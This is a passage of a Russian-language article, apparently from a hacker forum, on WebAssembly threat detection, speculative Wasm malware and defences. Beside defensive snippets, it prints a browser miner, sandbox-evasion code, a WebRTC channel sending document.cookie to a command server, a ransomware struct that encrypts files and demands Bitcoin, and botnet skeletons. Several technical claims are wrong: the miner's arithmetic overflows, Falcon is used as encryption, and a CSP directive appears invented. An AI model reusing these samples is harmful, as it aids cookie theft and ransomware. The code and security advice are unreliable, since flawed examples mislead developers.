Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use sha2::{Sha256, Digest};
#[wasm_bindgen]
pub struct Block {
pub nonce: u32,
pub data: String,
}
#[wasm_bindgen]
impl Block {
#[wasm_bindgen(constructor)]
pub fn new(data: &str) -> Block {
Block {
nonce: 0,
data: data.to_string(),
}
}
pub fn mine(&mut self, difficulty: u32) -> bool {
let target = 2u32.pow(256 - difficulty);
let mut hasher = Sha256::new();
hasher.update(format!("{}{}", self.data, self.nonce));
let result = hasher.finalize();
let hash_value = u32::from_be_bytes([result[0], result[1], result[2], result[3]]);
if hash_value < target {
true
} else {
self.nonce += 1;
false
}
}
}
Ну что же, с особенностями применения для "продвинутых пользователей" разобрались, а теперь я снова приглашаю всех читателей переметнуться на синюю сторону поля и посмотреть на WebAssembly с точки зрения защиты и выявления потенциальных угроз. Ну или как унести воду в решете, тут на ваш вкус.
Часть 4: Выявление и анализ вредоносных WebAssembly модулей
Итак, мы рассмотрели, как WebAssembly может быть использован для создания продвинутых "инструментов безопасности". Теперь давайте посмотрим на обратную сторону медали - как выявлять и анализировать вредоносные Wasm-модули.
Статический анализ WebAssembly
Статический анализ - это как разглядывание подозрительной посылки через рентген. Мы пытаемся понять, что внутри, не открывая коробку. Для WebAssembly это может быть непростой задачей, но у нас есть несколько трюков в рукаве. Давайте посмотрим на простой инструмент, который использует библиотеку `wasm` для дизассемблирования Wasm-модуля. Он выводит инструкции каждой функции, что может помочь обнаружить подозрительное поведение:
Python: Скопировать в буфер обмена
Код:
from wasm import decode_module
def disassemble_wasm(wasm_bytes):
module = decode_module(wasm_bytes)
for section in module.sections:
if section.id == 10: # Code section
for func_body in section.payload.bodies:
print("Function:")
for instr in func_body.code.instructions:
print(f" {instr.op.mnemonic} {' '.join(map(str, instr.imm))}")
# Использование:
with open("suspicious.wasm", "rb") as f:
wasm_bytes = f.read()
disassemble_wasm(wasm_bytes)
Динамический анализ WebAssembly
Если статический анализ - это рентген, то динамический анализ - это вскрытие подозрительной посылки в защищенной лаборатории. Мы запускаем код и смотрим, что он делает. А именно - загружаем Wasm-модуль и перехватываем вызовы функций, выводя информацию о них. Это может помочь нам понять, что делает модуль во время выполнения
JavaScript: Скопировать в буфер обмена
Код:
const fs = require('fs');
const util = require('util');
const readFile = util.promisify(fs.readFile);
async function traceWasm(wasmPath) {
const wasmBuffer = await readFile(wasmPath);
const wasmModule = await WebAssembly.compile(wasmBuffer);
const importObject = {
env: {
trace: (funcIndex, args) => {
console.log(`Called function ${funcIndex} with args: ${args}`);
}
}
};
const instance = await WebAssembly.instantiate(wasmModule, importObject);
return instance.exports;
}
// Использование:
traceWasm('suspicious.wasm').then(exports => {
exports.suspiciousFunction(42);
});
Также при динамическом анализе важно помнить, что некоторые продвинутые вредоносные программы могут определять, что они запущены в среде анализа, и менять свое поведение. Вот пример, который проверяет время выполнения операции и меняет свое поведение, если оно слишком короткое:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use web_sys::Performance;
#[wasm_bindgen]
pub fn evasive_function() {
let window = web_sys::window().unwrap();
let performance = window.performance().unwrap();
let start = performance.now();
// Выполняем какие-то вычисления
for i in 0..1000000 {
std::hint::black_box(i);
}
let end = performance.now();
if end - start < 100.0 { // Если выполнение слишком быстрое, возможно, мы в среде анализа
// Выполняем безобидный код
println!("Nothing to see here!");
} else {
// Выполняем вредоносный код
println!("Haha, got you!");
}
}
Анализ поведения и использования ресурсов
Иногда вредоносный Wasm-модуль можно обнаружить по его поведению или использованию ресурсов. Например, майнер криптовалют будет интенсивно использовать CPU. Чтобы обнаружить скрытые майнеры или другие вредоносные программы, интенсивно использующие ресурсы, необходимо отследить использование оперативки и сделать оповещение, если оно превышает определенный порог. Мониторинг использования CPU в браузере можно реализовать например вот так:
JavaScript: Скопировать в буфер обмена
Код:
class CPUMonitor {
constructor(threshold = 0.8, interval = 1000) {
this.threshold = threshold;
this.interval = interval;
this.isRunning = false;
}
start() {
if (this.isRunning) return;
this.isRunning = true;
const checkCPU = () => {
if (!this.isRunning) return;
const startTime = performance.now();
const startCycles = performance.now();
setTimeout(() => {
const endTime = performance.now();
const endCycles = performance.now();
const usage = (endCycles - startCycles) / (endTime - startTime);
if (usage > this.threshold) {
console.warn(`High CPU usage detected: ${usage.toFixed(2)}`);
// Здесь можно добавить код для остановки подозрительных операций
}
checkCPU();
}, this.interval);
};
checkCPU();
}
stop() {
this.isRunning = false;
}
}
const monitor = new CPUMonitor();
monitor.start();
Анализ сетевой активности
Многие вредоносные программы нуждаются в сетевом взаимодействии - для получения команд, отправки полученных данных или обновления своего кода. Мониторинг сетевой активности может помочь обнаружить такое поведение. Вот пример как можно это реализовать с помощью простого кода, который перехватывает все XMLHttpRequest и логирует URL запросов и ответов:
JavaScript: Скопировать в буфер обмена
Код:
(function() {
var origOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function() {
console.log('Request to ' + arguments[1]);
if (this.addEventListener) {
this.addEventListener('load', function() {
console.log('Response from ' + this.responseURL);
}, false);
}
origOpen.apply(this, arguments);
};
})();
Опять же, важно помнить что есть "продвинутый" уровень. Продвинутые вредоносные программы используют WebSocket или даже WebRTC для скрытой коммуникации. Для примера скрытый канал связи через WebRTC, который может быть использован для получения команд и отправки украденных данных:
JavaScript: Скопировать в буфер обмена
Код:
const pc = new RTCPeerConnection();
const dc = pc.createDataChannel("secret channel");
dc.onmessage = e => {
// Обработка полученных команд
console.log("Received command: " + e.data);
};
dc.onopen = () => {
// Отправка украденных данных
dc.send("stolen_data: " + document.cookie);
};
// Настройка соединения с C&C сервером
// ...
Не намного сложнее, чем на запросах, и плюс минус так же просто, как через вебсокет, поэтому про такой способ коммуникации тоже необходимо помнить и также анализировать такие виды траффика.
А сейчас немного предлагаю пофантазировать и посмотреть на WebAssembly с точки зрения перспективы (и снова перейти на красную сторону площадки).
Часть 5: Будущее WebAssembly и кибербезопасности
Мы с вами уже прошли долгий путь. Мы нырнули в глубины WebAssembly, исследовали его темные уголки, посмотрели на потенциальные возможности и на механизмы анализа, но наше путешествие еще не закончено. Давайте заглянем в будущее и попробуем представить, что ждет нас на горизонте WebAssembly и кибербезопасности.
Что произойдет, если WebAssembly начнут пихать везде и всюду (как это декламируют на сайте) и к каким последствиям может привести мультиязычная универсальная вм с возможностью запуска на чем угодно.
WebAssembly 2.0: Новый уровень угроз
Представьте себе WebAssembly, который может напрямую взаимодействовать с оборудованием. Сейчас есть определенный уровень изоляции, но что если его уберут или что если он обходится? Вот пример потенциального вредоносного ПО будущего, которое может шифровать файлы прямо из Wasm-модуля, :
Код: Скопировать в буфер обмена
Код:
#[wasm_bindgen]
pub struct FutureRansomware {
encryption_key: Vec<u8>,
}
#[wasm_bindgen]
impl FutureRansomware {
#[wasm_bindgen(constructor)]
pub fn new() -> FutureRansomware {
let mut rng = rand::thread_rng();
let encryption_key: Vec<u8> = (0..32).map(|_| rng.gen()).collect();
FutureRansomware { encryption_key }
}
pub fn encrypt_file(&self, file_path: &str) -> Result<(), JsValue> {
let mut file = std::fs::File::open(file_path)?;
let mut contents = Vec::new();
file.read_to_end(&mut contents)?;
let encrypted = contents.iter()
.zip(self.encryption_key.iter().cycle())
.map(|(&byte, &key)| byte ^ key)
.collect::<Vec<u8>>();
std::fs::write(file_path, encrypted)?;
Ok(())
}
pub fn demand_ransom(&self) -> String {
"Отправьте 1 BTC на адрес 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa, или ваши файлы останутся зашифрованными навсегда!".to_string()
}
}
Полиморфный, динамически подгружаемый (бесфайловый по сути) рансом, который можно запускать "на чем угодно". Бррррррр.
Квантовое шифрование в WebAssembly: Неприступная крепость или ящик Пандоры?
С развитием квантовых вычислений, шифрование тоже должно эволюционировать. WebAssembly может стать отличной платформой для реализации квантово-устойчивых алгоритмов шифрования. Код ниже демонстрирует, как WebAssembly может быть использован для реализации пост-квантовых алгоритмов шифрования. С одной стороны, это отличная защита от квантовых атак. С другой - такое мощное шифрование в руках злоумышленников может стать настоящей проблемой:
Код: Скопировать в буфер обмена
Код:
use pqcrypto_falcon::falcon512;
#[wasm_bindgen]
pub struct QuantumSafeEncryption {
public_key: falcon512::PublicKey,
secret_key: falcon512::SecretKey,
}
#[wasm_bindgen]
impl QuantumSafeEncryption {
#[wasm_bindgen(constructor)]
pub fn new() -> QuantumSafeEncryption {
let (pk, sk) = falcon512::keypair();
QuantumSafeEncryption { public_key: pk, secret_key: sk }
}
pub fn encrypt(&self, message: &[u8]) -> Vec<u8> {
falcon512::encrypt(&self.public_key, message)
}
pub fn decrypt(&self, ciphertext: &[u8]) -> Result<Vec<u8>, JsValue> {
falcon512::decrypt(&self.secret_key, ciphertext)
.map_err(|e| JsValue::from_str(&format!("Decryption error: {:?}", e)))
}
}
Искусственный интеллект и WebAssembly: Восстание машин?
Представьте себе вредоносное ПО, которое может обучаться и адаптироваться. Звучит как сюжет для фильма ужасов, правда? Но с развитием технологий искусственного интеллекта и возможностью их интеграции с WebAssembly, это может стать реальностью. Пример вредоносного ПО, которое использует простую нейронную сеть для анализа окружения и выбора наиболее эффективного метода атаки. Оно может обучаться на основе успешности предыдущих атак, постоянно адаптируясь к новым условиям и мерам защиты
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use rust_nn::{NeuralNetwork, Layer, Activation};
#[wasm_bindgen]
pub struct AdaptiveMalware {
nn: NeuralNetwork,
}
#[wasm_bindgen]
impl AdaptiveMalware {
#[wasm_bindgen(constructor)]
pub fn new() -> AdaptiveMalware {
let mut nn = NeuralNetwork::new();
nn.add_layer(Layer::new(10, 20, Activation::ReLU));
nn.add_layer(Layer::new(20, 5, Activation::Sigmoid));
AdaptiveMalware { nn }
}
pub fn analyze_environment(&mut self, input: Vec<f64>) -> Vec<f64> {
self.nn.forward(&input)
}
pub fn learn(&mut self, input: Vec<f64>, expected: Vec<f64>) {
self.nn.backward(&input, &expected);
}
pub fn choose_attack(&self, environment: Vec<f64>) -> String {
let output = self.analyze_environment(environment);
match output.iter().position(|&r| r == output.iter().cloned().fold(0./0., f64::max)) {
Some(0) => "Шифрование файлов".to_string(),
Some(1) => "Кража данных".to_string(),
Some(2) => "DDoS атака".to_string(),
Some(3) => "Майнинг криптовалюты".to_string(),
Some(4) => "Распространение".to_string(),
_ => "Бездействие".to_string(),
}
}
}
Помните, что те же технологии могут быть использованы и для защиты. Например, вот как может выглядеть ИИ-система обнаружения вторжений на основе WebAssembly. Система использует нейронную сеть для анализа состояния системы и определения, происходит ли вторжение. Она может обучаться на новых данных, постоянно улучшая свою способность обнаруживать даже самые изощренные атаки:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use rust_nn::{NeuralNetwork, Layer, Activation};
#[wasm_bindgen]
pub struct AIIntrustionDetectionSystem {
nn: NeuralNetwork,
}
#[wasm_bindgen]
impl AIIntrustionDetectionSystem {
#[wasm_bindgen(constructor)]
pub fn new() -> AIIntrustionDetectionSystem {
let mut nn = NeuralNetwork::new();
nn.add_layer(Layer::new(100, 50, Activation::ReLU));
nn.add_layer(Layer::new(50, 25, Activation::ReLU));
nn.add_layer(Layer::new(25, 1, Activation::Sigmoid));
AIIntrustionDetectionSystem { nn }
}
pub fn detect_intrusion(&self, system_state: Vec<f64>) -> f64 {
self.nn.forward(&system_state)[0]
}
pub fn train(&mut self, system_state: Vec<f64>, is_intrusion: bool) {
let expected = vec![if is_intrusion { 1.0 } else { 0.0 }];
self.nn.backward(&system_state, &expected);
}
}
Квантовые вычисления и WebAssembly: Конец шифрования или новая эра безопасности?
С развитием квантовых вычислений многие существующие методы шифрования станут уязвимыми. Но WebAssembly может стать платформой для реализации пост-квантовых алгоритмов шифрования. Использование алгоритма Kyber, одного из кандидатов на стандарт пост-квантовой криптографии, в WebAssembly. Такие алгоритмы могут обеспечить безопасность даже в эпоху квантовых компьютеров:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use pqcrypto_kyber::kyber768;
#[wasm_bindgen]
pub struct PostQuantumEncryption {
public_key: kyber768::PublicKey,
secret_key: kyber768::SecretKey,
}
#[wasm_bindgen]
impl PostQuantumEncryption {
#[wasm_bindgen(constructor)]
pub fn new() -> PostQuantumEncryption {
let (pk, sk) = kyber768::keypair();
PostQuantumEncryption { public_key: pk, secret_key: sk }
}
pub fn encrypt(&self, message: &[u8]) -> Vec<u8> {
let (ss, ct) = kyber768::encapsulate(&self.public_key);
let mut encrypted = ct.to_vec();
for (m, s) in message.iter().zip(ss.iter()) {
encrypted.push(m ^ s);
}
encrypted
}
pub fn decrypt(&self, ciphertext: &[u8]) -> Result<Vec<u8>, JsValue> {
let ct_len = kyber768::CIPHERTEXT_BYTES;
let ct = kyber768::Ciphertext::from_bytes(&ciphertext[..ct_len])
.map_err(|e| JsValue::from_str(&format!("Invalid ciphertext: {:?}", e)))?;
let ss = kyber768::decapsulate(&ct, &self.secret_key);
Ok(ciphertext[ct_len..].iter().zip(ss.iter()).map(|(&c, &s)| c ^ s).collect())
}
}
WebAssembly в Интернете вещей: Новый фронт кибервойны
С распространением Интернета вещей (IoT), WebAssembly может стать идеальной платформой для создания легковесных, эффективных и кросс-платформенных приложений для IoT устройств. Но это также открывает новый фронт для кибератак. Простой ботнет для IoT устройств, который может выполнять различные вредоносные действия по команде из центра управления:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub struct IoTBotnet {
command_center: String,
}
#[wasm_bindgen]
impl IoTBotnet {
#[wasm_bindgen(constructor)]
pub fn new(cc: &str) -> IoTBotnet {
IoTBotnet { command_center: cc.to_string() }
}
pub fn connect(&self) -> Result<(), JsValue> {
// Код для подключения к командному центру
Ok(())
}
pub fn execute_command(&self, command: &str) -> Result<(), JsValue> {
match command {
"ddos" => self.start_ddos(),
"mine" => self.start_mining(),
"spread" => self.spread_to_other_devices(),
_ => Err(JsValue::from_str("Unknown command")),
}
}
fn start_ddos(&self) -> Result<(), JsValue> {
// Код для начала DDoS атаки
Ok(())
}
fn start_mining(&self) -> Result<(), JsValue> {
// Код для начала майнинга криптовалюты
Ok(())
}
fn spread_to_other_devices(&self) -> Result<(), JsValue> {
// Код для распространения на другие устройства
Ok(())
}
}
Но не все так мрачно! WebAssembly также может быть использован для защиты IoT устройств. Вот например, эта система использует простое евклидово расстояние для определения, насколько текущее поведение устройства отличается от нормального. Если отклонение превышает заданный порог, система сигнализирует о возможном вторжении:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub struct IoTIDS {
normal_behavior: Vec<f64>,
threshold: f64,
}
#[wasm_bindgen]
impl IoTIDS {
#[wasm_bindgen(constructor)]
pub fn new(normal: Vec<f64>, thresh: f64) -> IoTIDS {
IoTIDS { normal_behavior: normal, threshold: thresh }
}
pub fn detect_anomaly(&self, current_behavior: Vec<f64>) -> bool {
let distance = self.calculate_distance(¤t_behavior);
distance > self.threshold
}
fn calculate_distance(&self, behavior: &Vec<f64>) -> f64 {
self.normal_behavior.iter()
.zip(behavior.iter())
.map(|(&n, &c)| (n - c).powi(2))
.sum::<f64>()
.sqrt()
}
}
Как вы поняли, это бесконечная игра в кошки-мышки. WebAssembly открывает огромные возможности для создания эффективных, кросс-платформенных приложений. Но в то же время, оно предоставляет новые инструменты для злоумышленников. Искусственный интеллект, квантовые вычисления, Интернет вещей - все эти технологии в сочетании с WebAssembly могут стать как мощным оружием, так и надежным щитом.
Ну и в завершение, хочу все таки еще раз шагнуть на синюю сторону и показать, как теоретически можно защититься от теоретических сферических коней в вакууме, которых мы тут напридумывали.
Часть 6: Защита от атак с использованием WebAssembly
Итак, друзья-параноики (в хорошем смысле этого слова), мы добрались до самого вкусного - как защититься от всех этих коварных WebAssembly-атак, о которых мы узнали. Пристегните ремни, мы отправляемся в мир цифровых крепостей и файерволов!
Песочница: держим Wasm-модули в клетке
Первое правило клуба WebAssembly - никогда не доверяй Wasm-модулям. Даже если они говорят, что просто хотят посчитать числа Фибоначчи.
Вот пример того, как можно создать простую песочницу для выполнения Wasm-модулей и спать спокойно:
JavaScript: Скопировать в буфер обмена
Код:
class WasmSandbox {
constructor() {
this.memory = new WebAssembly.Memory({ initial: 1 });
this.table = new WebAssembly.Table({ initial: 0, element: 'anyfunc' });
}
async run(wasmModule, functionName, ...args) {
const importObject = {
env: {
memory: this.memory,
table: this.table,
abort: () => { throw new Error('Abort called from Wasm module'); }
}
};
const instance = await WebAssembly.instantiate(wasmModule, importObject);
const func = instance.exports[functionName];
if (typeof func !== 'function') {
throw new Error(`Function "${functionName}" not found in Wasm module`);
}
return func(...args);
}
}
// Использование:
const sandbox = new WasmSandbox();
fetch('suspicious.wasm')
.then(response => response.arrayBuffer())
.then(bytes => sandbox.run(bytes, 'main', 42))
.then(result => console.log('Result:', result))
.catch(error => console.error('Error:', error));
Эта песочница ограничивает доступ Wasm-модуля к памяти и таблице функций, а также перехватывает вызовы `abort`. Это уже неплохая защита, но помните - нет такой песочницы, которую нельзя было бы просыпать!
Content Security Policy: ставим Wasm на цепь
Content Security Policy (CSP) - это как строгий вышибала в клубе, который решает, кому можно войти, а кому нет. Вот пример CSP, который ограничивает выполнение WebAssembly:
HTML: Скопировать в буфер обмена
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval'; wasm-eval 'none';">
Это отключает выполнение WebAssembly полностью. Но что, если нам нужен Wasm для легитимных целей? Тогда можно использовать более гибкую политику:
HTML: Скопировать в буфер обмена
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval'; wasm-eval 'self';">
Это разрешает выполнение только тех Wasm-модулей, которые загружены с того же источника, что и сама страница.
Мониторинг и ограничение ресурсов: держим Wasm на коротком поводке
Даже если вредоносный Wasm-модуль прорвется через все барьеры, мы все еще можем ограничить ущерб, контролируя использование ресурсов. Вот пример кода, который ограничивает время выполнения Wasm-функции:
JavaScript: Скопировать в буфер обмена
Код:
function runWithTimeout(func, timeout, ...args) {
return new Promise((resolve, reject) => {
const timeoutId = setTimeout(() => {
reject(new Error('Function execution timed out'));
}, timeout);
try {
const result = func(...args);
clearTimeout(timeoutId);
resolve(result);
} catch (error) {
clearTimeout(timeoutId);
reject(error);
}
});
}
// Использование:
const wasmInstance = /* ... */;
runWithTimeout(wasmInstance.exports.suspiciousFunction, 1000, 42)
.then(result => console.log('Result:', result))
.catch(error => console.error('Error:', error));
Этот код прерывает выполнение функции, если оно занимает больше 1 секунды. Прощай, скрытый майнинг!
Проверка целостности: не доверяй, но проверяй
Когда дело доходит до WebAssembly, мы должны быть как Фома неверующий - не верить, пока не потрогаем. И в нашем случае "потрогать" означает проверить целостность Wasm-модуля перед его выполнением.
Вот пример кода, который проверяет хеш Wasm-модуля перед его загрузкой:
JavaScript: Скопировать в буфер обмена
Код:
async function loadAndVerifyWasmModule(url, expectedHash) {
const response = await fetch(url);
const buffer = await response.arrayBuffer();
const hashBuffer = await crypto.subtle.digest('SHA-256', buffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
if (hashHex !== expectedHash) {
throw new Error('WebAssembly module integrity check failed');
}
const module = await WebAssembly.compile(buffer);
return WebAssembly.instantiate(module);
}
// Использование:
const expectedHash = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';
loadAndVerifyWasmModule('https://example.com/module.wasm', expectedHash)
.then(instance => {
// Использование проверенного модуля
})
.catch(error => console.error('Failed to load or verify module:', error));
Этот код вычисляет SHA-256 хеш загруженного Wasm-модуля и сравнивает его с ожидаемым значением. Если хеши не совпадают, модуль не загружается. Это как проверка паспорта на границе - никаких поддельных Wasm-модулей!
Анализ поведения: следим за каждым шагом
Даже если Wasm-модуль прошел все проверки, мы все равно должны следить за его поведением. Вот пример инструментирования Wasm-модуля для отслеживания вызовов функций:
JavaScript: Скопировать в буфер обмена
Код:
const importObject = {
env: {
memory: new WebAssembly.Memory({ initial: 1 }),
table: new WebAssembly.Table({ initial: 1, element: 'anyfunc' }),
abort: () => { throw new Error('Abort called'); },
},
console: {
log: (value) => {
console.log('Wasm log:', value);
}
},
instrument: {
functionCalled: (funcIndex) => {
console.log(`Function ${funcIndex} called`);
}
}
};
WebAssembly.instantiateStreaming(fetch('module.wasm'), importObject)
.then(({ instance }) => {
// Использование инструментированного модуля
});
Этот код добавляет функцию `functionCalled`, которая вызывается перед каждой функцией в Wasm-модуле. Это позволяет нам отслеживать, какие функции вызываются и в каком порядке.
Ограничение доступа к API: держим Wasm в информационном вакууме
Многие вредоносные Wasm-модули полагаются на доступ к API браузера для своих темных делишек. Наша задача - не дать им этого доступа. Вот пример того, как можно ограничить доступ Wasm-модуля к API:
JavaScript: Скопировать в буфер обмена
Код:
const restrictedImportObject = {
env: {
memory: new WebAssembly.Memory({ initial: 1 }),
// Только безопасные функции
abs: Math.abs,
min: Math.min,
max: Math.max,
}
};
WebAssembly.instantiateStreaming(fetch('module.wasm'), restrictedImportObject)
.then(({ instance }) => {
// Использование ограниченного модуля
});
Этот код предоставляет Wasm-модулю только ограниченный набор безопасных функций. Никакого доступа к DOM, сети или другим потенциально опасным API. Короче он там как в бункере будет - никаких контактов с внешним миром.
Обновление и патчинг: не дай себе засохнуть
Банально возможно, но помните: в мире нет ничего постоянного, кроме перемен. Вчерашние меры безопасности сегодня могут оказаться бесполезными. Поэтому важно регулярно обновлять все компоненты системы:
- Браузеры и их движки WebAssembly
- Библиотеки и фреймворки, использующие WebAssembly
- Инструменты анализа и мониторинга WebAssembly
- Политики безопасности и конфигурации
Образование и осведомленность: знание - сила
Последний, но не менее важный аспект защиты - это образование. Все члены вашей команды должны понимать риски, связанные с WebAssembly, и знать, как их минимизировать.
Вот несколько ключевых моментов, которые должен знать каждый разработчик:
- Никогда не загружайте и не выполняйте Wasm-модули из недоверенных источников.
- Всегда проверяйте целостность Wasm-модулей перед их использованием.
- Используйте принцип наименьших привилегий при работе с Wasm: предоставляйте модулям только те возможности, которые им действительно необходимы.
- Регулярно проводите аудит кода на предмет небезопасного использования WebAssembly.
- Следите за новостями и обновлениями в мире WebAssembly и кибербезопасности.
Распечатать можно, ну или там на рабочий стол обои поставить, от греха подальше.
Заключение
Фух, ну и путешествие у нас получилось! Мы прошли путь от базового понимания WebAssembly до продвинутых техник защиты от Wasm-атак.
Что я вообще хотел сказать этой статьей: в мире кибербезопасности нет волшебной пилюли. Защита - это постоянный процесс, требующий бдительности, знаний и немного паранойи.
WebAssembly - мощная технология с огромным потенциалом. Но, как и любой мощный инструмент, она может быть использована как во благо, так и во вред. Возможность написания супермультиплатформенных приложений и выполнения кода "на чем угодно" - это очень серьезное заявление, и хотелось бы чтобы разработчики также осознавали потенциальную серьезность последствий от создания таких решений.
Ну а я на этом прощаюсь, с вами был Патрик, специально для XSS.
Изучайте новое, развивайтесь, стремитесь к совершенству.
И до новых встреч!
P.S. И не забывайте время от времени отключать компьютер и выходить на свежий воздух. Говорят, там тоже бывает интересно!